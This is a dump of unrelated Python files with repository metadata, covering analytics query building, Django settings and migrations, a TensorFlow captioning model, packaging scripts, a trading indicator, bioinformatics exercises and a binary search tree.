_determine_should_join_persons(self) -> None: for prop in self._filter.properties: if prop.type == "person": self._should_join_distinct_ids = True self._should_join_persons = True return if prop.type == "cohort" and self._does_cohort_need_persons(prop): self._should_join_distinct_ids = True self._should_join_persons = True return for prop in self._entity.properties: if prop.type == "person": self._should_join_distinct_ids = True self._should_join_persons = True return if self._filter.breakdown_type == "person": self._should_join_distinct_ids = True self._should_join_persons = True if self._filter.filter_test_accounts: test_account_filters = Team.objects.only("test_account_filters").get(id=self._team_id).test_account_filters test_filter_props = [Property(**prop) for prop in test_account_filters] for prop in test_filter_props: if prop.type == "person": self._should_join_distinct_ids = True self._should_join_persons = True return def _does_cohort_need_persons(self, prop: Property) -> bool: cohort = Cohort.objects.get(pk=prop.value, team_id=self._team_id) for group in cohort.groups: if group.get("properties"): return True return False def _get_person_query(self) -> str: if self._should_join_persons: return f""" INNER JOIN ( SELECT id, properties as person_props FROM ( SELECT id, argMax(properties, person._timestamp) as properties, max(is_deleted) as is_deleted FROM person WHERE team_id = %(team_id)s GROUP BY id HAVING is_deleted = 0 ) ) {self.PERSON_TABLE_ALIAS} ON {self.PERSON_TABLE_ALIAS}.id = {self.DISTINCT_ID_TABLE_ALIAS}.person_id """ else: return "" def _get_entity_query(self) -> Tuple[str, Dict]: entity_params, entity_format_params = populate_entity_params(self._entity) return entity_format_params["entity_query"], entity_params def _get_date_filter(self) -> Tuple[str, Dict]: if self._date_filter: return self._date_filter, {} parsed_date_from, parsed_date_to, date_params = parse_timestamps(filter=self._filter, team_id=self._team_id) query = f""" {parsed_date_from} {parsed_date_to} """ return query, date_params def _get_props(self, allow_denormalized_props: bool = False) -> Tuple[str, Dict]: filters = [*self._filter.properties, *self._entity.properties] filter_test_accounts = self._filter.filter_test_accounts team_id = self._team_id table_name = f"{self.EVENT_TABLE_ALIAS}." prepend = "global" final = [] params: Dict[str, Any] = {} if filter_test_accounts: test_account_filters = Team.objects.only("test_account_filters").get(id=team_id).test_account_filters filters.extend([Property(**prop) for prop in test_account_filters]) for idx, prop in enumerate(filters): if prop.type == "cohort": person_id_query, cohort_filter_params = self._get_cohort_subquery(prop) params = {**params, **cohort_filter_params} final.append(f"AND {person_id_query}") elif prop.type == "person": filter_query, filter_params = prop_filter_json_extract( prop, idx, "{}person".format(prepend), allow_denormalized_props=allow_denormalized_props, prop_var=self._PERSON_PROPERTIES_ALIAS, ) final.append(filter_query) params.update(filter_params) elif prop.type == "element": query, filter_params = filter_element({prop.key: prop.value}, prepend="{}_".format(idx)) final.append("AND {}".format(query[0])) params.update(filter_params) else: filter_query, filter_params = prop_filter_json_extract( prop, idx, prepend, prop_var="properties", allow_denormalized_props=allow_denormalized_props, ) final.append(filter_query) params.update(filter_params) return " ".join(final), params def _get_cohort_subquery(self, prop) -> Tuple[str, Dict[str, Any]]: cohort = Cohort.objects.get(pk=prop.value, team_id=self._team_id) is_precalculated = is_precalculated_query(cohort) person_id_query, cohort_filter_params = ( get_precalculated_query(cohort, custom_match_field=f"{self.DISTINCT_ID_TABLE_ALIAS}.person_id") if is_precalculated else format_person_query(cohort, custom_match_field=f"{self.DISTINCT_ID_TABLE_ALIAS}.person_id") ) return person_id_query, cohort_filter_params

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""" Django settings for sept3 project. Generated by 'django-admin startproject' using Django 3.1.7. For more information on this file, see https://docs.djangoproject.com/en/3.1/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.1/ref/settings/ """ from pathlib import Path # Build paths inside the project like this: BASE_DIR / 'subdir'. BASE_DIR = Path(__file__).resolve().parent.parent # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/3.1/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = 'cefqd=8kij833btnb0#l#2gdk8b@mgqaeg19st1%2^zoeh_wst' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'sept3.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': ['templates'], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'sept3.wsgi.application' # Database # https://docs.djangoproject.com/en/3.1/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': BASE_DIR / 'db.sqlite3', } } # Password validation # https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/3.1/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/3.1/howto/static-files/ STATIC_URL = '/static/'

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# ========================================================================================= # Xiang Xu (2016-12-1) code for 10-807 final project # reuse some of the code from (https://github.com/yunjey/show-attend-and-tell-tensorflow) # (https://github.com/jazzsaxmafia/video_to_sequence) # other group members: Markus Woodsons, Yubo Zhang # ========================================================================================= from __future__ import division import tensorflow as tf class CaptionGenerator(object): def __init__(self, word_to_idx, dim_layer1=[7,512],dim_layer2=[14,512], dim_embed=512, dim_hidden=1024, n_time_step=16, alpha_c=[0.0,0.0],alpha_e=0.0): """ basic sum attention, simply attention extractor, yes entropy, no kl, no selector, yes 1.0, yes combined """ self.word_to_idx = word_to_idx self.idx_to_word = {i: w for w, i in word_to_idx.iteritems()} self.alpha_c = alpha_c self.alpha_e = alpha_e self.V = len(word_to_idx) self.S1 = dim_layer1[0] self.D1 = dim_layer1[1] self.S2 = dim_layer2[0] self.D2 = dim_layer2[1] self.M = dim_embed self.H = dim_hidden self.T = n_time_step self._start = word_to_idx['<START>'] self._null = word_to_idx['<NULL>'] self.weight_initializer = tf.random_normal_initializer(mean=0.0, stddev=0.01) self.const_initializer = tf.constant_initializer(0.0) self.constant_one = tf.constant_initializer(1.0) self.emb_initializer = tf.random_uniform_initializer(minval=-1.0, maxval=1.0) self.small_initializer = tf.constant_initializer(0.01) # Place holder for features and captions self._features_layer1 = tf.placeholder(tf.float32, [None,self.S1,self.S1,self.D1]) self._features_layer2 = tf.placeholder(tf.float32, [None,self.S2,self.S2,self.D2]) self.dropout_keep_prob = tf.placeholder(tf.float32) self.features_layer1 = tf.reshape(self._features_layer1, [-1, self.S1**2, self.D1]) self.features_layer2 = tf.reshape(self._features_layer2, [-1, self.S2**2, self.D2]) self.captions = tf.placeholder(tf.int32, [None, self.T + 1]) self.e =1e-12 def _get_initial_lstm(self,name,dim_f,dim_h,features): with tf.variable_scope(name): features_mean = tf.reduce_mean(features, 1) # (N,dim_f) w_h = tf.get_variable('w_h', [dim_f, dim_h], initializer=self.weight_initializer) b_h = tf.get_variable('b_h', [dim_h], initializer=self.const_initializer) h = tf.nn.tanh(tf.matmul(features_mean, w_h) + b_h) # (N,dim_h) w_c = tf.get_variable('w_c', [dim_f, dim_h], initializer=self.weight_initializer) b_c = tf.get_variable('b_c', [dim_h], initializer=self.const_initializer) c = tf.nn.tanh(tf.matmul(features_mean, w_c) + b_c) # (N,dim_h) return c, h def _word_embedding(self, inputs, reuse=False): with tf.variable_scope('word_embedding', reuse=reuse): w = tf.get_variable('w', [self.V, self.M], initializer=self.emb_initializer) x = tf.nn.embedding_lookup(w, inputs, name='word_vector') # (N, T, M) or (N, M) return x def _attention_layer_(self,name,shape_u,dim_u,dim_h,features,h,reuse=False): with tf.variable_scope(name, reuse=reuse): w1 = tf.get_variable('w1', [dim_h, dim_u], initializer=self.weight_initializer) w2 = tf.get_variable('w2', [dim_u, 1], initializer=self.weight_initializer) b1 = tf.get_variable('b1', [dim_u], initializer=self.const_initializer) b2 = tf.get_variable('b2', [dim_u], initializer=self.const_initializer) # computer posterior higher attention sparse = tf.nn.sigmoid(tf.matmul(h, w1)+b1) result0 = features * tf.expand_dims(sparse,1) out1 = tf.nn.tanh(tf.reshape(result0,[-1,dim_u]) + b2) out2 = tf.nn.sigmoid(tf.reshape(tf.matmul(out1,w2),[-1,shape_u**2])) alpha = tf.nn.softmax(out2) context = tf.reduce_sum(features * tf.expand_dims(alpha, 2), 1) return context, alpha def _attention_layer(self,name,alpha_l,shape_l,shape_u,dim_u,dim_h,features,h,reuse=False): with tf.variable_scope(name, reuse=reuse): w1 = tf.get_variable('w1', [dim_h, dim_u], initializer=self.weight_initializer) w2 = tf.get_variable('w2', [dim_u, 1], initializer=self.weight_initializer) b1 = tf.get_variable('b1', [dim_u], initializer=self.const_initializer) b2 = tf.get_variable('b2', [dim_u], initializer=self.const_initializer) # resize lower attention to higher attention (prior higher attention) N = tf.shape(alpha_l)[0] # batch size alpha_ = tf.reshape(tf.transpose(alpha_l,perm=[1,0]),[shape_l,shape_l,N]) alpha_resized_ = tf.image.resize_images(alpha_,[shape_u,shape_u]) alpha_resized = tf.transpose(tf.reshape(alpha_resized_,[-1,N]),[1,0]) alpha_truncate = tf.nn.relu(alpha_resized-(1.0/shape_u**2)) # computer posterior higher attention sparse = tf.nn.sigmoid(tf.matmul(h, w1)+b1) result0 = features * tf.expand_dims(sparse,1) out1 = tf.nn.tanh(tf.reshape(result0,[-1,dim_u]) + b2) out2 = tf.nn.sigmoid(tf.reshape(tf.matmul(out1,w2),[-1,shape_u**2])) alpha = tf.nn.softmax(out2+alpha_truncate) context = tf.reduce_sum(features * tf.expand_dims(alpha, 2), 1) return context, alpha def _combine_contexts(self,name,dim_c1,dim_c2,context1,context2,output_dim,reuse=False): with tf.variable_scope(name,reuse=reuse): w1 = tf.get_variable('w1', [dim_c1, output_dim], initializer=self.weight_initializer) w2 = tf.get_variable('w2', [dim_c2, output_dim], initializer=self.weight_initializer) b1 = tf.get_variable('b1', [output_dim], initializer=self.const_initializer) b2 = tf.get_variable('b2', [output_dim], initializer=self.const_initializer) c1 = tf.matmul(context1,w1)+b1 c2 = tf.matmul(context2,w2)+b2 combined_context = tf.nn.tanh(c1+c2) return combined_context def _decode_lstm(self,name,dim_h,dim_f,x,h,combined_context,reuse=False): with tf.variable_scope(name, reuse=reuse): w_h = tf.get_variable('w_h', [dim_h, self.M], initializer=self.weight_initializer) b_h = tf.get_variable('b_h', [self.M], initializer=self.const_initializer) w_out = tf.get_variable('w_out', [self.M, self.V], initializer=self.weight_initializer) b_out = tf.get_variable('b_out', [self.V], initializer=self.const_initializer) h = tf.nn.dropout(h, self.dropout_keep_prob) h_logits = tf.matmul(h, w_h) + b_h w_ctx2out = tf.get_variable('w_ctx2out', [dim_f, self.M], initializer=self.weight_initializer) h_logits += tf.matmul(combined_context, w_ctx2out) h_logits += x h_logits = tf.nn.tanh(h_logits) h_logits = tf.nn.dropout(h_logits, self.dropout_keep_prob) out_logits = tf.matmul(h_logits, w_out) + b_out return out_logits def build_model(self): features1 = self.features_layer1 features2 = self.features_layer2 captions = self.captions batch_size = tf.shape(features1)[0] # process time input captions_in = captions[:, :self.T] # including <START> excluding <END> captions_out = captions[:, 1:] # excluding <START> including <END> mask = tf.to_float(tf.not_equal(captions_out, self._null)) # mask out shorter sentence # initialize c & h for LSTM (use first layer) c, h = self._get_initial_lstm('initial_lstm',self.D1,self.H,features1) # get embedded words x = self._word_embedding(inputs=captions_in) # store loss and attention prob loss = 0.0 alpha_list1,alpha_list2 = [],[] lstm_cell = tf.nn.rnn_cell.BasicLSTMCell(num_units=self.H,state_is_tuple=True) entropy_list1,entropy_list2 = [],[] # rnn for t in range(self.T): # extract image attention region & prob (multi-layer) context1, alpha1 = self._attention_layer_('att_layer1',self.S1, self.D1,self.H,features1,h,reuse=(t!=0)) context2, alpha2 = self._attention_layer('att_layer2',alpha1,self.S1,self.S2, self.D2,self.H,features2,h,reuse=(t!=0)) alpha_list1.append(alpha1) # T numbers of shape (N,L) alpha_list2.append(alpha2) # configure lstm with tf.variable_scope('lstm', reuse=(t!=0)): combined_context = self._combine_contexts('combined',self.D1,self.D2,context1,context2,512,reuse=(t!=0)) _, (c, h) = lstm_cell(inputs=tf.concat(1, [x[:,t,:], combined_context]), state=[c, h]) # decode output to sentence and compute loss logits = self._decode_lstm('logits',self.H,512,x[:,t,:],h,combined_context,reuse=(t!=0)) loss += tf.reduce_sum(tf.nn.sparse_softmax_cross_entropy_with_logits(logits, captions_out[:, t]) * mask[:, t]) # entropy regularization entropy1 = tf.reduce_sum(-alpha1*tf.log(alpha1+self.e)) entropy2 = tf.reduce_sum(-alpha2*tf.log(alpha2+self.e)) entropy_list1.append(entropy1) entropy_list2.append(entropy2) # spreading regularization (focus on different region throughout time) alphas1 = tf.transpose(tf.pack(alpha_list1), (1, 0, 2)) # (N, T, L) alphas_all1 = tf.reduce_sum(alphas1, 1) # (N, L) alphas2 = tf.transpose(tf.pack(alpha_list2), (1, 0, 2)) # (N, T, L) alphas_all2 = tf.reduce_sum(alphas2, 1) # (N, L) entropys1 = tf.reduce_sum(tf.pack(entropy_list1)) entropys2 = tf.reduce_sum(tf.pack(entropy_list2)) loss += self.alpha_c[0]*tf.reduce_sum((1.0 - alphas_all1)**2)+self.alpha_c[1]*tf.reduce_sum((1.0 - alphas_all2)**2) loss += self.alpha_e[0]*(entropys1/tf.to_float(self.T))+self.alpha_e[1]*(entropys2/tf.to_float(self.T)) return (loss/tf.to_float(batch_size)),(entropys1/tf.to_float(self.T)),(entropys2/tf.to_float(self.T)) def build_sampler(self, max_len=20): features1 = self.features_layer1 features2 = self.features_layer2 # init inputs for lstm c, h = self._get_initial_lstm('initial_lstm',self.D1,self.H,features1) sampled_word_list = [] alpha_list1,alpha_list2 = [],[] lstm_cell = tf.nn.rnn_cell.BasicLSTMCell(num_units=self.H,state_is_tuple=True) for t in range(max_len): if t == 0: x = self._word_embedding(inputs=tf.fill([tf.shape(features1)[0]], self._start)) else: x = self._word_embedding(inputs=sampled_word, reuse=True) # extract image attention region & prob (multi-layer) #alpha_init = tf.fill([tf.shape(features1)[0],self.S1**2],1.0) context1, alpha1 = self._attention_layer_('att_layer1',self.S1, self.D1,self.H,features1,h,reuse=(t!=0)) context2, alpha2 = self._attention_layer('att_layer2',alpha1,self.S1,self.S2, self.D2,self.H,features2,h,reuse=(t!=0)) alpha_list1.append(alpha1) # T numbers of shape (N,L) alpha_list2.append(alpha2) # configure lstm with tf.variable_scope('lstm', reuse=(t!=0)): combined_context = self._combine_contexts('combined',self.D1,self.D2,context1,context2,512,reuse=(t!=0)) _, (c, h) = lstm_cell(inputs=tf.concat(1, [x,combined_context]), state=[c, h]) logits = self._decode_lstm('logits',self.H,512,x,h,combined_context,reuse=(t!=0)) sampled_word = tf.argmax(logits, 1) sampled_word_list.append(sampled_word) alphas1 = tf.transpose(tf.pack(alpha_list1), (1, 0, 2)) # (N, T, L) alphas2 = tf.transpose(tf.pack(alpha_list2), (1, 0, 2)) # (N, T, L) sampled_captions = tf.transpose(tf.pack(sampled_word_list), (1, 0)) # (N, max_len) return alphas1,alphas2,sampled_captions

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# -*- coding: UTF-8 -*- ''' @author: xuqiang '''

[ "1104016959@qq.com" ]

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permissive

marcelotduarte/cx_Freeze

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"""A very simple setup script to test adding extension handling to an MSI file. This script defines three ways for the hello.py executable to handle text files, that are registered in the operating system. hello.py is a very simple 'Hello, world' type script which also displays the environment in which the script runs Run the build process by running the command 'python setup.py bdist_msi'""" from __future__ import annotations from cx_Freeze import Executable, setup executables = [Executable("hello.py")] bdist_msi_options = { "extensions": [ # open / print / view text files { "extension": "txt", "verb": "open", "executable": "hello.exe", "context": "Edit with hello.py", }, { "extension": "txt", "verb": "print", "executable": "hello.exe", "context": "Print with hello.py", "argument": '--print "%1"', }, { "extension": "txt", "verb": "view", "executable": "hello.exe", "context": "View with hello.py", "argument": '--read-only "%1"', }, # open / print / view log files { "extension": "log", "verb": "open", "executable": "hello.exe", "context": "Edit with hello.py", }, { "extension": "log", "verb": "print", "executable": "hello.exe", "context": "Print with hello.py", "argument": '--print "%1"', }, { "extension": "log", "verb": "view", "executable": "hello.exe", "context": "View with hello.py", "argument": '--read-only "%1"', }, ], } setup( name="Hello Program", version="0.1", author="cx_Freeze", description="Sample cx_Freeze script to test MSI extension registration", executables=executables, options={ "build_exe": {"excludes": ["tkinter"]}, "bdist_msi": bdist_msi_options, }, )

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ShivAyyalasomayajula/quant

a4ae0f179703739c7fba85e7dba04c3a4ce05169

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refs/heads/main

2023-08-23T04:54:04.448989

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import numpy as np import vectorbt as vbt from numba import njit from vectorbt import _typing as tp from vectorbt.generic import nb as generic_nb # @njit # def rolling_demarker_1d_nb(high: tp.Array1d, low: tp.Array1d, period: int) -> tp.Tuple[tp.Array1d, tp.Array1d, tp.Array1d]: # demin = np.empty_like(low, dtype=np.float_) # demax = np.empty_like(high, dtype=np.float_) # for i in range(high.shape[0]): # if low[i] < low[i - 1]: # demin[i] = low[i - 1] - low[i] # else: # demin[i] = 0 # # if high[i] > high[i - 1]: # demax[i] = high[i] - high[i - 1] # else: # demax[i] = 0 # # demax_avg = generic_nb.rolling_mean_1d_nb(demax, period, minp=period) # sma # demin_avg = generic_nb.rolling_mean_1d_nb(demin, period, minp=period) # sma # # return demax_avg / (demax_avg + demin_avg), demin_avg, demax_avg @njit def rolling_demarker_2d_nb(high: tp.Array2d, low: tp.Array2d, period: int) -> tp.Tuple[tp.Array2d, tp.Array2d, tp.Array2d]: demin = np.empty_like(low, dtype=np.float_) demax = np.empty_like(high, dtype=np.float_) for col in range(high.shape[1]): for i in range(high.shape[0]): if low[i, col] < low[i - 1, col]: demin[i, col] = low[i - 1, col] - low[i, col] else: demin[i, col] = 0 if high[i, col] > high[i - 1, col]: demax[i, col] = high[i, col] - high[i - 1, col] else: demax[i, col] = 0 demax_avg = generic_nb.rolling_mean_nb(demax, period, minp=period) # sma demin_avg = generic_nb.rolling_mean_nb(demin, period, minp=period) # sma return demax_avg / (demax_avg + demin_avg), demin_avg, demax_avg # @njit # def rolling_demarker_nb(high: tp.Array2d, low: tp.Array2d, period: int) -> tp.Tuple[tp.Array2d, tp.Array2d, tp.Array2d]: # """2-dim version of `rolling_demarker_1d_nb`.""" # out = np.empty_like(high, dtype=np.float_) # for col in range(high.shape[1]): # print( high[:, col]) # out[:, col] = rolling_demarker_1d_nb(high[:, col], low[:, col], period) # # return out # return out, out, out # TODO where is what? DeMarkerOscillator = vbt.IndicatorFactory( input_names=['high', 'low'], param_names=['period'], output_names=['dem', 'demin_avg', 'demax_avg'], ).from_apply_func(rolling_demarker_2d_nb, period=13)

[ "robin.braemer@web.de" ]

robin.braemer@web.de

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/migrations/versions/7dbb13e5d7c2_.py

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[]

no_license

Ivan-Sidorov/DeliveryService

c22e20fdc6183e2728fa177346f45f9eafb5b35b

e5edfff40b84c5a7008cb694bc694e8652832192

refs/heads/main

2023-03-27T17:13:29.242279

2021-03-29T19:29:12

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"""empty message Revision ID: 7dbb13e5d7c2 Revises: bb1166c0df6a Create Date: 2021-03-28 13:51:05.640557 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = '7dbb13e5d7c2' down_revision = 'bb1166c0df6a' branch_labels = None depends_on = None def upgrade(): # ### commands auto generated by Alembic - please adjust! ### op.add_column('orders', sa.Column('bunch_complete', sa.Integer(), nullable=True)) # ### end Alembic commands ### def downgrade(): # ### commands auto generated by Alembic - please adjust! ### op.drop_column('orders', 'bunch_complete') # ### end Alembic commands ###

[ "ivsidorov@miem.hse.ru" ]

ivsidorov@miem.hse.ru

82f6291414d25aa2247cba2267bbc2e7241e8ec3

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/Bioinformatics Stronghold/RNAtoProtein.py

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[]

no_license

nadintamer/ROSALIND-Solutions

cddfbc9ebfb38b187ff7899c72361c692a6481a8

a1b6c613e0c23346ee5236528f2aa39b1eb365c7

refs/heads/master

2021-09-07T02:50:42.289324

2018-02-16T06:16:06

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py

RNATable = [["UUU","F"],["UUC","F"],["UUA","L"],["UUG","L"],["UCU","S"],["UCC","S"],["UCA","S"],["UCG","S"],["UAU","Y"],["UAC","Y"],["UAA","Stop"],["UAG","Stop"],["UGU","C"],["UGC","C"],["UGA","Stop"],["UGG","W"],["CUU","L"],["CUC","L"],["CUA","L"],["CUG","L"],["CCU","P"],["CCC","P"],["CCA","P"],["CCG","P"],["CAU","H"],["CAC","H"],["CAA","Q"],["CAG","Q"],["CGU","R"],["CGC","R"],["CGA","R"],["CGG","R"],["AUU","I"],["AUC","I"],["AUA","I"],["AUG","M"],["ACU","T"],["ACC","T"],["ACA","T"],["ACG","T"],["AAU","N"],["AAC","N"],["AAA","K"],["AAG","K"],["AGU","S"],["AGC","S"],["AGA","R"],["AGG","R"],["GUU","V"],["GUC","V"],["GUA","V"],["GUG","V"],["GCU","A"],["GCC","A"],["GCA","A"],["GCG","A"],["GAU","D"],["GAC","D"],["GAA","E"],["GAG","E"],["GGU","G"],["GGC","G"],["GGA","G"],["GGG","G"]] def RNAtoProtein(rna): protein = "" x = 0 while x <= len(rna): codon = rna[x:x+3] for a in RNATable: if codon == a[0]: if a[1] != "Stop": protein += a[1] x += 3 return protein

[ "noreply@github.com" ]

nadintamer.noreply@github.com

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/setup.py

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no_license

jimyong88/idworker

dbb5bfdc75700c599949b5643fa42122375a11a9

cd6ab2ac7ae4a325f9bf695461105246e8f480ac

refs/heads/master

2021-04-16T23:23:44.393531

2020-03-23T10:14:45

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#!/usr/bin/env python # -*- coding:utf-8 -*- # __author__ = 'Jim Yong' # __date__ = '2020/03/23' # __contact__ = 'jimyong88@gmail.com' # __copyright__ = 'Copyright (C) 2020, JimYong.com' import sys if sys.version_info < (2, 5): sys.exit('Python 2.5 or greater is required.') from setuptools import setup, find_packages VERSION = "1.0.0" LICENSE = "MIT" setup( name='idworker', version=VERSION, description=('idworker'), long_description="Snowflake idworker", author='JimYong', author_email='jimyong88@gmail.com', maintainer='JimYong', maintainer_email='jimyong88@gmail.com', license=LICENSE, packages=find_packages(), platforms=["all"], url='https://github.com/jimyong88/idworker', install_requires=[], classifiers=[ 'Development Status :: 4 - Beta', 'Operating System :: OS Independent', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Programming Language :: Python', 'Programming Language :: Python :: Implementation', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', 'Topic :: Software Development :: Libraries' ], )

[ "jimyong88@gmail.com" ]

jimyong88@gmail.com

eb4af5608df2b19a482bf8d9f385e8e9283f9044

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/MBIT/main/migrations/0001_initial.py

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[]

no_license

Hyewon0223/DjangoStudy

038004b93ebc87c2efc55f3052df47257b84ff7a

a5aa14c8922ff822e3636e3afda90cc5106a8aeb

refs/heads/main

2023-07-16T02:16:09.842177

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# Generated by Django 3.2.6 on 2021-08-16 14:03 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Developer', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=50)), ('count', models.IntegerField(default=0)), ], ), migrations.CreateModel( name='Question', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('number', models.IntegerField(unique=True)), ('content', models.CharField(max_length=100)), ], ), migrations.CreateModel( name='Choice', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('content', models.CharField(max_length=100)), ('developer', models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='main.developer')), ('question', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='main.question')), ], ), ]

[ "ch2w2006@kookmin.ac.kr" ]

ch2w2006@kookmin.ac.kr

3bccd42bea4632f044374355cd4daf40939d9ac7

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/boardgames/tictactoe/models.py

bd51665a1b1aebb2d541055967af76166446c1d9

[]

no_license

Epsa1993/boardgames

ddae144eccd4b592f8e77bdf9c99da43415856b6

8acbb8596b01eff708c5d46867f67876434e05ed

refs/heads/master

2021-01-15T19:04:18.167165

2017-08-09T12:23:42

99,804,309

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from django.db import models from django.contrib.auth.models import User # Create your models here. class Game(models.Model): first_player = models.ForeignKey(User, related_name = "games_first_player") second_player = models.ForeignKey(User, related_name = "games_second_player") next_to_move = models.ForeignKey(User, related_name = "games_to_move") start_time = models.DateTimeField(auto_now_add = True) last_active = models.DateTimeField(auto_now = True) class Move(models.Model): x = models.IntegerField() y = models.IntegerField() comment = models.CharField(max_length=300) game = models.ForeignKey(Game)

[ "epsa.kausik@thoughts2binary.com" ]

epsa.kausik@thoughts2binary.com

18b798923083b1b718cbaeeda3686f0d2cfb8328

d2c4934325f5ddd567963e7bd2bdc0673f92bc40

/tests/artificial/transf_Difference/trend_MovingAverage/cycle_12/ar_12/test_artificial_1024_Difference_MovingAverage_12_12_20.py

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[ "BSD-3-Clause", "LicenseRef-scancode-unknown-license-reference" ]

permissive

jmabry/pyaf

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refs/heads/master

2020-03-20T02:14:12.597970

2018-12-17T22:08:11

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BSD-3-Clause

2018-12-17T22:08:12

2018-06-12T17:15:43

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import pyaf.Bench.TS_datasets as tsds import pyaf.tests.artificial.process_artificial_dataset as art art.process_dataset(N = 1024 , FREQ = 'D', seed = 0, trendtype = "MovingAverage", cycle_length = 12, transform = "Difference", sigma = 0.0, exog_count = 20, ar_order = 12);

[ "antoine.carme@laposte.net" ]

antoine.carme@laposte.net

e471e36174f124757ad31571788e0c21cf65dda1

0326948d86a409347b62c93cae8fe6fcd04da7fd

/hello_world.py

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[]

no_license

danylo-basarab/lab_1_AIMP

4df92d3b114eef9cad9d59456ab43da43351f3c4

b0b796aa582dde4f24ada64ea9e887278ebaeef5

refs/heads/master

2023-03-06T07:53:05.575641

2021-02-19T20:10:27

null

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null

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py

name = input('Enter your name : ') print('Hello world from ', name)

[ "danya.basarab@gmail.com" ]

danya.basarab@gmail.com

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/setup.py

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permissive

daveyclk/hologram-python

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refs/heads/master

2021-05-06T20:01:37.485758

2017-11-20T22:27:08

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#!/usr/bin/env python # Copyright 2016 Hologram (Konekt, Inc.) # # Author: Hologram <support@hologram.io> # longdesc = ''' This is a library for connecting to the Hologram Cloud ''' import sys try: from setuptools import setup, find_packages kw = { } except ImportError: from distutils.core import setup kw = {} if sys.platform == 'darwin': import setup_helper setup_helper.install_custom_make_tarball() setup( name = 'hologram-python', version = open('version.txt').read().split()[0], description = 'Library for accessing Hologram Cloud at https://hologram.io', long_description = longdesc, author = 'Hologram', author_email = 'support@hologram.io', url = 'https://github.com/hologram-io/hologram-python/', packages = find_packages(), include_package_data = True, install_requires = open('requirements.txt').read().split(), scripts = ['scripts/hologram'], license = 'MIT', platforms = 'Posix; MacOS X; Windows', classifiers = [ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', 'Topic :: Internet', 'Topic :: Security :: Cryptography', 'Programming Language :: Python', 'Programming Language :: Python :: 2.7', ], **kw )

[ "tanzhao@umich.edu" ]

tanzhao@umich.edu

cd645ef44cc5b4f56a1430cb8b3c0482ece779e7

bac508336950084cc1c47c85e37bc8bc8bb8bda4

/names/bst.py

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[]

no_license

deegrams221/Sprint-Challenge--Data-Structures-Python

bc61b2b6c0cf2b82d455a9fd086f329772ad24a2

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refs/heads/master

2020-12-26T09:26:38.276392

2020-02-24T21:00:00

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null

2020-02-24T21:00:02

2020-01-31T16:02:24

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UTF-8

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# from README: "Hint: You might try importing a data structure you built during the week" # this is from the data strutures assignment, insert and contains will be useful for the names challenge class BinarySearchTree: def __init__(self, value): self.value = value self.left = None self.right = None # Insert the given value into the tree def insert(self, value): # pass # compare root node, if greator or equal go right if value >= self.value: # if no child if self.right == None: # insert self.right = BinarySearchTree(value) # else try again, continue right else: return self.right.insert(value) # if lesser go left elif value < self.value: # if no child if self.left == None: # insert self.left = BinarySearchTree(value) # else try again, continue left else: return self.left.insert(value) # Return True if the tree contains the value # False if it does not def contains(self, target): # pass # look at root, if root is taget return true if target == self.value: return True # if value is less than node elif target < self.value: # go left if self.left != None: # return if found return self.left.contains(target) # if value is greater or equal to node elif target >= self.value: # go right if self.right != None: # return if found return self.right.contains(target) # else return false else: return False

[ "deegrams221@gmail.com" ]

deegrams221@gmail.com

55b08fc6b6a02a3ec359ec5f61ae3856f2eda02e

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/zhaoyuanfang/classwork/DSVC/__init__.py

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[]

no_license

yuanandfang/HandwrittenNumberRecognition

393dd71fe8d86772f4fc9a2e346604a9d6abeca1

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refs/heads/master

2020-06-09T21:54:35.075298

2019-07-01T01:34:48

193,513,589

